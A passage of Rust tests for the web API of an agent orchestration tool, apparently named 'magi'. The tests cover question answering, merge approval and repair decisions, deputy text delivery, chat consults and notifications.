12116 for choice in [
12117 crate::land::HOLD,
12118 crate::land::REPAIR,
12119 crate::land::APPROVE,
12120 crate::merge_decision::WITHDRAW,
12121 "reimplement:beta",
12122 ] {
12123 let mut q = Question::new(
12124 "old-run".into(),
12125 crate::land::APPROVAL_NODE.into(),
12126 "land".into(),
12127 "Decision".into(),
12128 "Review findings".into(),
12129 vec![
12130 "merge".into(),
12131 "hold".into(),
12132 crate::land::REPAIR.into(),
12133 crate::merge_decision::WITHDRAW.into(),
12134 "reimplement:beta".into(),
12135 ],
12136 );
12137 q.merge_target = Some(crate::merge_decision::Target {
12138 pr: "https://github.com/example/repo/pull/42".into(),
12139 head: "exact-reviewed-head".into(),
12140 language: "ja".into(),
12141 });
12142 q.consult = Some(ask::ChatConsult {
12143 talk: "another-conversation".into(),
12144 at: jiff::Timestamp::now(),
12145 });
12146 fx.questions().put(&mut q).unwrap();
12147 let ui = Arc::new(Ui::new(
12148 fx.queue(),
12149 fx.questions(),
12150 fx.talks(),
12151 fx.runs(),
12152 fx.home.path().into(),
12153 std::path::PathBuf::from("."),
12154 ));
12155 let response = question_answer(
12156 State(ui.clone()),
12157 Path(q.id.clone()),
12158 Ok(Json(NewAnswer {
12159 choice: Some(choice.into()),
12160 text: None,
12161 ..Default::default()
12162 })),
12163 )
12164 .await
12165 .unwrap();
12166 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12167 let disk = fx.questions().get(&q.id).unwrap();
12168 assert_eq!(disk.merge_target, q.merge_target);
12169 assert_eq!(disk.consult, q.consult);
12170 assert!(
12171 disk.answer_authority.is_none(),
12172 "a direct owner card is its own decision"
12173 );
12174 assert_eq!(disk.resolution().as_deref(), Some(choice));
12175 assert!(
12176 question_answer(
12177 State(ui),
12178 Path(q.id.clone()),
12179 Ok(Json(NewAnswer {
12180 choice: Some("merge".into()),
12181 text: None,
12182 ..Default::default()
12183 }))
12184 )
12185 .await
12186 .is_err(),
12187 "an already settled decision cannot turn into merge approval"
12188 );
12189 }
12190 }
12191
12192 #[tokio::test]
12193 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12194 let fx = Fixture {
12195 home: TempDir::new().unwrap(),
12196 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12197 };
12198 let mut state = crate::land::tests::repair_state(true, true);
12199 state.status = RunStatus::Landing;
12200 state.parked = true;
12201 state.driver_exited = true;
12202 let mut task = Task::new(
12203 "Existing PR owner".into(),
12204 state.instruction.clone(),
12205 state.repo.clone(),
12206 Source::Human,
12207 );
12208 task.runs.push(state.id.clone());
12209 task.status = TaskStatus::Parked;
12210 fx.queue().put(&mut task).unwrap();
12211 let mut q = Question::new(
12212 state.id.clone(),
12213 crate::land::APPROVAL_NODE.into(),
12214 "land".into(),
12215 "Contested merge".into(),
12216 "Original evidence".into(),
12217 vec!["merge".into(), "hold".into()],
12218 );
12219 state.land_approval = Some(crate::run::LandApproval {
12220 question: q.id.clone(),
12221 head: "reviewed-head".into(),
12222 });
12223 state.save_under(fx.home.path()).unwrap();
12224 fx.questions().put(&mut q).unwrap();
12225 task.hold_manual(Some("Pause this PR".into()));
12227 fx.queue().put(&mut task).unwrap();
12228 let ui = Arc::new(Ui::new(
12231 fx.queue(),
12232 fx.questions(),
12233 fx.talks(),
12234 fx.runs(),
12235 fx.home.path().to_path_buf(),
12236 state.repo.clone(),
12237 ));
12238 let response = question_answer(
12239 State(ui),
12240 Path(q.id.clone()),
12241 Ok(Json(NewAnswer {
12242 choice: Some(crate::land::REPAIR.into()),
12243 text: None,
12244 ..Default::default()
12245 })),
12246 )
12247 .await
12248 .unwrap();
12249 assert_eq!(response.0.question.id, q.id);
12250 let upgraded = fx.questions().get(&q.id).unwrap();
12251 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12252 assert!(upgraded.detail.starts_with("Original evidence"));
12253 let claim = fx.queue().claim(&task.id).unwrap();
12254 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12255 assert!(
12256 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12257 "an existing driver keeps its claim"
12258 );
12259 drop(claim);
12260 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12261 let resumed = fx.queue().get(&task.id).unwrap();
12262 assert_eq!(
12263 resumed
12264 .resume_override
12265 .as_ref()
12266 .unwrap()
12267 .pinned_run
12268 .as_deref(),
12269 Some(state.id.as_str())
12270 );
12271 assert!(resumed.status.runnable());
12272 assert_eq!(resumed.instruction, task.instruction);
12273 assert_eq!(resumed.runs, task.runs);
12274 assert!(resumed.action_applied(&q.id));
12275 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12276 assert_eq!(fx.queue().list().len(), 1);
12277 assert_eq!(
12278 fx.queue().get(&task.id).unwrap().resume_override,
12279 resumed.resume_override
12280 );
12281 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12282 assert!(
12283 disk.merge_repairs.is_empty(),
12284 "only the claimed run driver may execute repair"
12285 );
12286 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12287 }
12288
12289 #[tokio::test]
12290 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12291 let fx = Fixture::start().await;
12292 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12293 let path = format!("/api/questions/{id}/answer");
12294
12295 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12296 assert_eq!(res.status, 200, "{}", res.body);
12297 let body = res.json();
12298 assert_eq!(body["status"], "answered");
12299 assert_eq!(body["answer"]["choice"], "Redis");
12300
12301 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12305 assert_eq!(again.status, 409, "{}", again.body);
12306 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12307 }
12308
12309 #[tokio::test]
12310 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12311 let home = tempfile::tempdir().unwrap();
12312 let ui = delta_test_ui(home.path());
12313 let mut q = Question::new(
12314 "task".into(),
12315 crate::land::APPROVAL_NODE.into(),
12316 "land".into(),
12317 "Explain?".into(),
12318 String::new(),
12319 vec!["hold".into()],
12320 );
12321 q.deputy = Some(ask::Deputy::new("context".into()));
12322 ui.questions.put(&mut q).unwrap();
12323 let mut cfg = stub_config();
12324 cfg.daemon.max_deputies = 0;
12325 let mut status = crate::daemon::Status::new();
12326 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12327 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12328 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12329 let error = question_say(
12330 State(ui.clone()),
12331 Path(q.id.clone()),
12332 Ok(Json(NewSay {
12333 body: "Explain the findings".into(),
12334 })),
12335 )
12336 .await
12337 .unwrap_err();
12338 assert_eq!(
12339 error.text_reason,
12340 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12341 );
12342 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12343
12344 let mut text = Question::new(
12345 "task".into(),
12346 "ask".into(),
12347 "operator".into(),
12348 "Which name?".into(),
12349 String::new(),
12350 vec![],
12351 );
12352 ui.questions.put(&mut text).unwrap();
12353 let Json(view) = question_answer(
12354 State(ui.clone()),
12355 Path(text.id.clone()),
12356 Ok(Json(NewAnswer {
12357 choice: None,
12358 text: Some("chosen name".into()),
12359 ..Default::default()
12360 })),
12361 )
12362 .await
12363 .unwrap();
12364 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12365 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12366 }
12367
12368 #[tokio::test]
12369 async fn question_text_handler_admission_without_transport() {
12370 let home = tempfile::tempdir().unwrap();
12371 let ui = delta_test_ui(home.path());
12372 let mut q = Question::new(
12373 "task".into(),
12374 crate::land::APPROVAL_NODE.into(),
12375 "land".into(),
12376 "May this PR merge?".into(),
12377 String::new(),
12378 vec!["hold".into()],
12379 );
12380 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12381 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12382 ui.questions.put(&mut q).unwrap();
12383 let say = || {
12384 Ok(Json(NewSay {
12385 body: "Explain the findings".into(),
12386 }))
12387 };
12388 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12389 .await
12390 .unwrap_err();
12391 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12392 let response = rejected.into_response();
12393 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12394 .await
12395 .unwrap();
12396 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12397 assert_eq!(body["code"], "question_text_unavailable");
12398 assert_eq!(body["reason"], "deputy_exhausted");
12399 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12400 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12401 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12402 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12403 .await
12404 .unwrap();
12405 assert_eq!(view.text_delivery.state, "live");
12406 assert!(view.question.waiter.is_none());
12407 assert!(view.question.cwd.is_none());
12408 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12409 ui.questions.drop_lease(&q.id);
12410 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12411 .await
12412 .unwrap_err();
12413 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12414 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12415 let _ = question_answer(
12416 State(ui.clone()),
12417 Path(q.id.clone()),
12418 Ok(Json(NewAnswer {
12419 choice: Some("hold".into()),
12420 text: None,
12421 ..Default::default()
12422 })),
12423 )
12424 .await
12425 .unwrap();
12426 assert_eq!(
12427 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12428 Some("hold")
12429 );
12430 }
12431
12432 #[tokio::test]
12433 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12434 let fx = Fixture::start().await;
12435 let store = fx.questions();
12436 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12437 store
12438 .update(&id, |q| {
12439 q.node = crate::land::APPROVAL_NODE.to_owned();
12440 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12441 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12442 Ok(())
12443 })
12444 .unwrap();
12445 let path = format!("/api/questions/{id}/say");
12446 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12447 assert_eq!(refused.status, 422, "{}", refused.body);
12448 assert!(
12449 refused.json()["error"]
12450 .as_str()
12451 .unwrap()
12452 .contains("deputy_exhausted")
12453 );
12454 assert!(store.get(&id).unwrap().thread.is_empty());
12455
12456 store.beat(&id, ask::WaiterKind::Deputy);
12458 let view = fx.get("/api/questions").await.json();
12459 assert_eq!(view[0]["text_delivery"]["state"], "live");
12460 let accepted = fx
12461 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12462 .await;
12463 assert_eq!(accepted.status, 200, "{}", accepted.body);
12464 let before = std::fs::read(store.path_of(&id)).unwrap();
12465
12466 store.drop_lease(&id);
12469 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12470 assert_eq!(refused.status, 422, "{}", refused.body);
12471 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12472 let held = fx
12473 .post(
12474 &format!("/api/questions/{id}/answer"),
12475 Some(r#"{"choice":"hold"}"#),
12476 )
12477 .await;
12478 assert_eq!(held.status, 200, "{}", held.body);
12479 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12480 }
12481
12482 #[tokio::test]
12483 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12484 let repo = tempfile::tempdir().unwrap();
12485 let mut cfg = stub_config();
12486 cfg.daemon.max_deputies = 0;
12487 std::fs::write(
12488 repo.path().join("magi.toml"),
12489 toml::to_string(&cfg).unwrap(),
12490 )
12491 .unwrap();
12492 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12493 let mut status = crate::daemon::Status::new();
12494 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12495 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12496 let id = ask(&fx, "Explain?", &["hold"]);
12497 fx.questions()
12498 .update(&id, |q| {
12499 q.node = crate::land::APPROVAL_NODE.into();
12500 q.deputy = Some(ask::Deputy::new("context".into()));
12501 q.deputy.as_mut().unwrap().agent = "stub".into();
12502 Ok(())
12503 })
12504 .unwrap();
12505 cfg.daemon.max_deputies = 1;
12506 std::fs::write(
12507 repo.path().join("magi.toml"),
12508 toml::to_string(&cfg).unwrap(),
12509 )
12510 .unwrap();
12511 let view = fx.get("/api/questions").await.json();
12512 assert_eq!(view[0]["deputies_enabled"], true);
12513 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12514 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12515 let res = fx
12516 .post(
12517 &format!("/api/questions/{id}/say"),
12518 Some(r#"{"body":"Please explain"}"#),
12519 )
12520 .await;
12521 assert_eq!(res.status, 422, "{}", res.body);
12522 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12523 }
12524
12525 #[tokio::test]
12526 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12527 let fx = Fixture::start().await;
12528 let id = ask(&fx, "No seat", &[]);
12529 let store = fx.questions();
12530 let before = std::fs::read(store.path_of(&id)).unwrap();
12531 let res = fx
12532 .post(
12533 &format!("/api/questions/{id}/say"),
12534 Some(r#"{"body":"hello"}"#),
12535 )
12536 .await;
12537 assert_eq!(res.status, 422, "{}", res.body);
12538 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12539 let res = fx
12540 .post(
12541 &format!("/api/questions/{id}/answer"),
12542 Some(r#"{"text":"hello"}"#),
12543 )
12544 .await;
12545 assert_eq!(res.status, 200, "{}", res.body);
12546 assert_eq!(
12547 store.get(&id).unwrap().resolution().as_deref(),
12548 Some("hello")
12549 );
12550 }
12551
12552 #[tokio::test]
12553 async fn saying_something_appends_a_turn_without_answering() {
12554 let fx = Fixture::start().await;
12555 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12556 fx.questions().beat(&id, ask::WaiterKind::Asker);
12557 let path = format!("/api/questions/{id}/say");
12558
12559 let res = fx
12560 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12561 .await;
12562 assert_eq!(res.status, 200, "{}", res.body);
12563 let body = res.json();
12564 assert_eq!(body["status"], "open", "talking back is not a decision");
12565 assert_eq!(body["answer"], Value::Null);
12566 assert_eq!(body["thread"][0]["who"], "operator");
12567 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12568 assert_eq!(body["waiting_on_agent"], true);
12569 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12571 }
12572
12573 #[tokio::test]
12574 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12575 let fx = Fixture::start().await;
12576 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12577
12578 let list = fx.get("/api/questions").await.json();
12579 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12580
12581 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12582 assert_eq!(res.status, 409, "{}", res.body);
12583 let q = fx.questions().get(&id).unwrap();
12584 assert!(q.status.open());
12585 assert!(q.consult.is_none());
12586 }
12587
12588 #[tokio::test]
12589 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12590 let fx = Fixture::start().await;
12591 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12592 let cfg = Config {
12593 agents: vec![crate::config::AgentSpec {
12594 id: "mock".to_owned(),
12595 kind: crate::config::AgentKind::Command,
12596 model: None,
12597 command: vec!["true".to_owned()],
12598 extra_args: Vec::new(),
12599 env: Default::default(),
12600 prompt_delivery: None,
12601 max_turn_secs: None,
12602 }],
12603 ..Config::default()
12604 };
12605 let talk = crate::talk::begin(
12606 &fx.talks(),
12607 &cfg,
12608 fx.home.path().to_path_buf(),
12609 Some("mock"),
12610 )
12611 .unwrap();
12612 let mut task = Task::new(
12613 "t".to_owned(),
12614 "Do it".to_owned(),
12615 PathBuf::from("/repo/magi"),
12616 Source::Agent {
12617 run: talk.id.clone(),
12618 node: crate::queue::CHAT_NODE.to_owned(),
12619 },
12620 );
12621 task.start("20260902-000000-beef".to_owned());
12622 fx.queue().put(&mut task).unwrap();
12623
12624 let list = fx.get("/api/questions").await.json();
12625 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12626 assert_eq!(
12627 list[0]["choices"],
12628 serde_json::json!(["SQLite", "Redis"]),
12629 "the hand-over is never a choice"
12630 );
12631 fx.questions()
12632 .update(&id, |q| {
12633 q.node = crate::land::APPROVAL_NODE.into();
12634 q.choices = vec!["merge".into(), "hold".into()];
12635 Ok(())
12636 })
12637 .unwrap();
12638 let list = fx.get("/api/questions").await.json();
12639 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12640 assert_eq!(list[0]["can_consult_chat"], true);
12641 fx.questions()
12642 .update(&id, |q| {
12643 q.node = crate::bump::NOTICE_NODE.into();
12644 Ok(())
12645 })
12646 .unwrap();
12647 let list = fx.get("/api/questions").await.json();
12648 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12649 assert_eq!(list[0]["can_consult_chat"], false);
12650 }
12651
12652 #[tokio::test]
12653 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12654 let fx = Fixture::start().await;
12655 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12656 fx.questions()
12657 .update(&id, |q| {
12658 q.node = crate::land::APPROVAL_NODE.into();
12659 q.choices = vec!["merge".into(), "hold".into()];
12660 Ok(())
12661 })
12662 .unwrap();
12663 let cfg = Config {
12664 agents: vec![crate::config::AgentSpec {
12665 id: "mock".to_owned(),
12666 kind: crate::config::AgentKind::Command,
12667 model: None,
12668 command: vec!["true".to_owned()],
12669 extra_args: Vec::new(),
12670 env: Default::default(),
12671 prompt_delivery: None,
12672 max_turn_secs: None,
12673 }],
12674 ..Config::default()
12675 };
12676 let repo = fx.home.path().join("chat-repo");
12678 std::fs::create_dir_all(&repo).unwrap();
12679 let toml = repo.join("magi.toml");
12680 std::fs::write(&toml, "this is = = not toml").unwrap();
12681 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12682 let mut task = Task::new(
12683 "t".to_owned(),
12684 "Do it".to_owned(),
12685 PathBuf::from("/repo/magi"),
12686 Source::Agent {
12687 run: talk.id.clone(),
12688 node: crate::queue::CHAT_NODE.to_owned(),
12689 },
12690 );
12691 task.start("20260902-000000-beef".to_owned());
12692 fx.queue().put(&mut task).unwrap();
12693
12694 let path = format!("/api/questions/{id}/consult");
12695 let res = fx.post(&path, None).await;
12696 assert!(res.status >= 400, "{}", res.body);
12697 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12698 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12699
12700 std::fs::write(&toml, "").unwrap();
12701 let res = fx.post(&path, None).await;
12702 assert_eq!(res.status, 202, "{}", res.body);
12703 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12704 let q = fx.questions().get(&id).unwrap();
12705 assert!(q.status.open());
12706 assert!(q.answer.is_none());
12707 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12708 assert_eq!(res.json()["can_consult_chat"], true);
12709 let list = fx.get("/api/questions").await.json();
12710 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12711 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12712
12713 let res = fx
12714 .post(
12715 &format!("/api/questions/{id}/answer"),
12716 Some(r#"{"choice":"hold"}"#),
12717 )
12718 .await;
12719 assert_eq!(res.status, 200, "{}", res.body);
12720 assert_eq!(res.json()["answer"]["choice"], "hold");
12721 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12722 assert_eq!(res.json()["can_consult_chat"], false);
12723 assert_eq!(fx.post(&path, None).await.status, 409);
12724
12725 let mut talk = fx.talks().get(&talk.id).unwrap();
12726 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12727 let list = fx.get("/api/questions").await.json();
12728 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12729 assert_eq!(list[0]["origin_chat_closed"], true);
12730 assert_eq!(list[0]["can_consult_chat"], false);
12731
12732 fx.talks().remove(&talk.id).unwrap();
12733 let list = fx.get("/api/questions").await.json();
12734 assert_eq!(list[0]["origin_chat"], Value::Null);
12735 assert_eq!(list[0]["origin_chat_closed"], false);
12736 assert_eq!(list[0]["can_consult_chat"], false);
12737 }
12738
12739 #[tokio::test]
12740 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12741 let fx = Fixture::start().await;
12742 let store = fx.questions();
12743 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12744 store.beat(&id, ask::WaiterKind::Asker);
12745 assert_eq!(
12746 fx.get("/api/health").await.json()["questions_needs_owner"],
12747 1
12748 );
12749
12750 let res = fx
12756 .post(
12757 &format!("/api/questions/{id}/say"),
12758 Some(r#"{"body":"why not Postgres?"}"#),
12759 )
12760 .await;
12761 assert_eq!(res.status, 200, "{}", res.body);
12762 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12763 assert_eq!(
12764 fx.get("/api/health").await.json()["questions_needs_owner"],
12765 0,
12766 "waiting on the agent is not waiting on the owner"
12767 );
12768
12769 let mut q = store.get(&id).expect("get");
12773 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12774 .expect("reply");
12775 store.put(&mut q).expect("put");
12776 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12777 assert_eq!(
12778 fx.get("/api/health").await.json()["questions_needs_owner"],
12779 1,
12780 "the agent's reply is what should light the banner back up"
12781 );
12782 }
12783
12784 #[tokio::test]
12785 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12786 let fx = Fixture::start().await;
12787 let store = fx.questions();
12788
12789 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12790 let res = fx
12791 .post(
12792 &format!("/api/questions/{empty_id}/say"),
12793 Some(r#"{"body":" "}"#),
12794 )
12795 .await;
12796 assert_eq!(res.status, 400, "{}", res.body);
12797
12798 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12799 let mut answered = store.get(&answered_id).expect("get");
12800 answered
12801 .answer(Answer::Choice("SQLite".to_owned()))
12802 .expect("answer");
12803 store.put(&mut answered).expect("put");
12804 let res = fx
12805 .post(
12806 &format!("/api/questions/{answered_id}/say"),
12807 Some(r#"{"body":"still there?"}"#),
12808 )
12809 .await;
12810 assert_eq!(res.status, 409, "{}", res.body);
12811
12812 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12813 let mut abandoned = store.get(&abandoned_id).expect("get");
12814 abandoned.abandon("timed out");
12815 store.put(&mut abandoned).expect("put");
12816 let res = fx
12817 .post(
12818 &format!("/api/questions/{abandoned_id}/say"),
12819 Some(r#"{"body":"still there?"}"#),
12820 )
12821 .await;
12822 assert_eq!(res.status, 409, "{}", res.body);
12823 }
12824
12825 #[tokio::test]
12826 async fn an_answer_the_question_does_not_offer_is_refused() {
12827 let fx = Fixture::start().await;
12828 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12829 let path = format!("/api/questions/{id}/answer");
12830
12831 for body in [
12832 r#"{"choice":"Postgres"}"#,
12833 r#"{"text":"whatever you think"}"#,
12834 r#"{"choice":"Redis","text":"both"}"#,
12835 r#"{}"#,
12836 ] {
12837 let res = fx.post(&path, Some(body)).await;
12838 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12839 assert!(res.json()["error"].is_string(), "{}", res.body);
12840 }
12841 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12843 }
12844
12845 #[tokio::test]
12846 async fn a_free_text_question_takes_text_and_not_a_choice() {
12847 let fx = Fixture::start().await;
12848 let id = ask(&fx, "What should the flag be called?", &[]);
12849 fx.questions().beat(&id, ask::WaiterKind::Asker);
12850 let path = format!("/api/questions/{id}/answer");
12851
12852 assert_eq!(
12853 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12854 400
12855 );
12856 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12857 assert_eq!(res.status, 200, "{}", res.body);
12858 assert_eq!(res.json()["answer"]["text"], "--json");
12859 }
12860
12861 #[tokio::test]
12862 async fn an_unknown_question_is_a_json_404() {
12863 let fx = Fixture::start().await;
12864 let res = fx
12865 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12866 .await;
12867 assert_eq!(res.status, 404, "{}", res.body);
12868 assert!(res.json()["error"].is_string());
12869 }
12870
12871 #[tokio::test]
12872 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12873 let fx = Fixture::start().await;
12874 let questions = Questions::at(fx.home.path().join("questions"));
12875 let store = Notices::at(fx.home.path().join("notifications"));
12876 let mut q = ask::Question::new(
12877 "t1".into(),
12878 "conduct".into(),
12879 "conductor".into(),
12880 "Continue?".into(),
12881 String::new(),
12882 Vec::new(),
12883 );
12884 questions.put(&mut q).unwrap();
12885 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12886 n.covered_by = Some(q.id.clone());
12887 let n = store.raise(n).unwrap();
12888 let listed = fx.get("/api/notifications").await.json();
12889 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12890 questions
12891 .update(&q.id, |q| {
12892 q.abandon("run gone");
12893 Ok(())
12894 })
12895 .unwrap();
12896 let listed = fx.get("/api/notifications").await.json();
12897 assert!(listed["items"][0]["answerable_question"].is_null());
12898 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12899 assert!(
12900 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12901 .unwrap()
12902 .contains("answerable_question")
12903 );
12904 }
12905
12906 #[tokio::test]
12907 async fn notifications_list_read_dismiss_and_health_agree() {
12908 let fx = Fixture::start().await;
12909 let store = Notices::at(fx.home.path().join("notifications"));
12910 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12911 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12912
12913 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12914 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12915
12916 store
12917 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12918 .unwrap();
12919 let health = fx.get("/api/health").await.json();
12920 assert_eq!(health["notifications_unread"], 2);
12921 assert_ne!(
12922 health["notifications_rev"], rev0,
12923 "the badge must move live"
12924 );
12925
12926 let listed = fx.get("/api/notifications").await.json();
12927 assert_eq!(listed["unread"], 2);
12928 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12929 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12930
12931 let read = fx
12932 .post(&format!("/api/notifications/{}/read", a.id), None)
12933 .await;
12934 assert_eq!(read.status, 200, "{}", read.body);
12935 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12936
12937 let gone = fx
12938 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12939 .await;
12940 assert_eq!(gone.status, 200, "{}", gone.body);
12941 let listed = fx.get("/api/notifications").await.json();
12942 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12943 assert_eq!(listed["unread"], 0);
12944
12945 store.raise(Notice::info("x", "again")).unwrap();
12946 let all = fx.post("/api/notifications/read-all", None).await;
12947 assert_eq!(all.status, 200, "{}", all.body);
12948 assert_eq!(all.json()["marked"], 1);
12949 assert_eq!(
12950 fx.get("/api/health").await.json()["notifications_unread"],
12951 0
12952 );
12953
12954 let missing = fx.post("/api/notifications/nope/read", None).await;
12955 assert_eq!(missing.status, 404, "{}", missing.body);
12956 assert!(missing.json()["error"].is_string());
12957 }
12958
12959 #[tokio::test]
12966 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12967 let f = Fixture::start().await;
12968
12969 let res = f
12970 .post(
12971 "/api/queue",
12972 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12973 )
12974 .await;
12975
12976 assert_eq!(
12977 res.status, 405,
12978 "POST /api/queue must not be a route: {}",
12979 res.body
12980 );
12981 assert!(
12982 f.queue().list().is_empty(),
12983 "a task filed by a route that does not exist must not reach the disk"
12984 );
12985 assert_eq!(f.get("/api/queue").await.status, 200);
12988 }
12989
12990 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12992 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12993 .expect("checkout dir");
12994 }
12995
12996 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12998
12999 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13000 let tmp = TempDir::new().expect("tempdir");
13001 let repo = tmp.path().join("repo");
13002 std::fs::create_dir_all(&repo).expect("repo dir");
13003 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13004 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13005 if let Some(text) = machine_toml {
13006 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13007 std::fs::write(&machine, text).expect("machine toml");
13008 }
13009 (tmp, repo, machine)
13010 }
13011
13012 async fn settings_checkout(path: &FsPath, text: &str) {
13013 std::fs::create_dir_all(path).unwrap();
